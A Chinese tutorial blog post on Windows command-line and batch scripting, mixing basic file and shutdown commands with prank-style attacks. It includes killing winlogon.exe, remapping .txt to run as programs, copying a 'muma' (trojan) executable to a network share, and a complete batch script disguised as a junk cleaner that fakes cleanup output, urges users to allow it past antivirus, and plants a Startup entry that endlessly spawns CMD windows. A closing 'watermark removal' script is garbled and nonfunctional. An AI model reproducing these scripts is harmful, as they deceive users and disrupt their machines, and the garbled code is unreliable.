赞
踩
- md wenjianjia 创建文件夹
- rd wenjianjia 删除文件夹
- copy con a.txt 动态写入文本内容 ctrl+z 回车退出保存
- type a.txt 查看所有文本内容
- type a.txt | more 分页查看
- del a.txt 删除文件
- del *.txt 删除以txt结尾的所有文件
- del *.* 删除所有文件
- del a.txt /q 不提示直接删除
- del *.txt /s/q 递归删除且不提示 文件夹保留 文件删除
- ren haha.txt hei.txt 改名
- move 移动文件
- copy muma.exe \\10.0.0.2\c:\ 网络传输
- assoc .txt=exefile 修改文件打开方式 以txt结尾的当作程序运行(恶作剧类)
- fsutil file createnew d:\system.ini 300000000 在d盘生成一个system.ini文件 占用内存300000000字节
- attrib +h +s +a 文件夹 修改文件权限 +h隐藏文件 +s提升位系统文件 +a只读权限
- shutdown -s -t 数字 定时关机 +f 强制
- shutdown -a 取消一切定时
- shutdown -r -t 定时开机 +f 强制
- shutdown -l -t 200 -f -c "认命吧!!!" -c 描述信息
- shutdown -l 注销
- color 0a 修改命令行字体背景颜色
- color ? 查询颜色配置
1.1、概述
批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat 。目前比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。更复杂的情况,需要使用if、for、goto等命令控制程式的运行过程,如同C、Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程式是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何当前系统下可运行的程序都可以放在批处理文件中运行。
1.2、批处理作用
1.3、如何创建批处理
注:修改扩展名时,需要将文件的扩展名显示出来后在进行修改!
案例:新建一个记事本文件,然后将扩展名改为.bat 内容如下:
d:
cd
cd tmp
del ./s/q
1.4、批处理基本语法@echo off
pause
案例:
@echo off
pause
执行结果如下:
title
color 0a
上述两条命令的执行结果如下:
echo.
:menu
goto menu
- @echo off 关闭回显
- :menu 给代码块命名为menu
- title my qq password 修改程序标题
- color 0a 修改命令行背景和字体颜色
- echo ===================
- echo hello world
- echo ===================
- pause 暂停
- echo. 空行
- echo.
- :d 给代码块命名为d
- echo 执行到d代码块
- goto menu 跳转到menu代码块,执行该代码块下的命令
代码执行结果:
正确输出不打印:>nul (
即“1>nul”;屏蔽操作成功显示的信息,但是出错还是会显示)
错误输出不打印:>2 nul (
是屏蔽操作失败显示的信息,如果成功依旧显示。)
ping 127.136.27.1 >nul 2>nul 无论能不能ping通都不打印(全部都屏蔽,成功的还是失败的都不显示)
%input%
start
if "%input%"=="1" goto a
set /p input=请输入关机时间(单位/秒):
用户自定义关机时间
%userprofile%
- C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 开机启动项路径
- "%userprofile%\「开始」菜单\程序\启动\muma.bat" 在开机启动项中生成一个程序muma.bat
- %userprofile% == C:\Documents and Settings\Administrator
1.5、命令组合
- @echo off
- color 0a
- title 我的qq
-
- :menu
- cls
- echo ===========================
- echo 菜单
- echo 1.定时关机
- echo 2.取消定时
- echo 3.退出
- echo 4.在开机启动项添加脚本
- echo ===========================
-
- set /p input=请选择:
-
- if "%input%"=="1" goto a
- if "%input%"=="2" goto b
- if "%input%"=="3" goto c
- if "%input%"=="4" goto d
-
- echo 请输入正确选项:
- pause
- goto menu
-
- :a
- set /p num=请输入想要关机的时间:
- shutdown -s -f -t %num%
- goto menu
-
- :b
- shutdown -a
- goto menu
-
- :c
- exit
-
- :d
- echo :d >> "%userprofile%\「开始」菜单\程序\启动\muma.bat"
- echo start >> "%userprofile%\「开始」菜单\程序\启动\muma.bat"
- echo goto d >> "%userprofile%\「开始」菜单\程序\启动\muma.bat"
- echo 脚本制作完成,下次开机启动
- pause
- goto menu
ntsd -c q -pn winlogon.exe
taskkill /im explorer.exe /f
开启explorer.exe:
start C:\windows\explorer.exe
netstat -an
批处理案例:
功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口
- @echo off
- title 系统垃圾清理
- color 2f
- echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】========
- echo.
- echo.
- echo :start>c:\windows\windows.bat
- echo start cmd>>c:\windows\windows.bat
- echo goto start>>c:\windows\windows.bat
- copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ >nul
- if %errorlevel%==0 goto next
- copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
- if %errorlevel%==1 goto error
- :next
- echo.
- echo.
- echo ====== 垃圾清理中,请不要关闭窗口 =====
- echo.
- ping -n 6 127.0.0.1 >nul
- echo.
- echo ====== 垃圾清理完毕,共清理垃圾512M====
- echo.
- echo.
- echo ======建议立即重启电脑==========
- pause
- goto ex
-
- :error
- echo.
- echo.
- echo ====== 程序运行失败,请使用【管理员权限】重新运行!======
- echo.
- pause
- goto ex
-
- :ex
- exit
- @echo off
- color 0a
- title 图片去水印
-
- :ImageUrl
- echo.
- echo.
- echo.
- set /p input=请输入图片绝对路径:
- cmd.exe -imageIn "%input%" imgurl -txtIn 'hello' -source WEIBO -outputUrl
-
- echo.
- echo.
- echo.
- goto ImageUrl
-
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。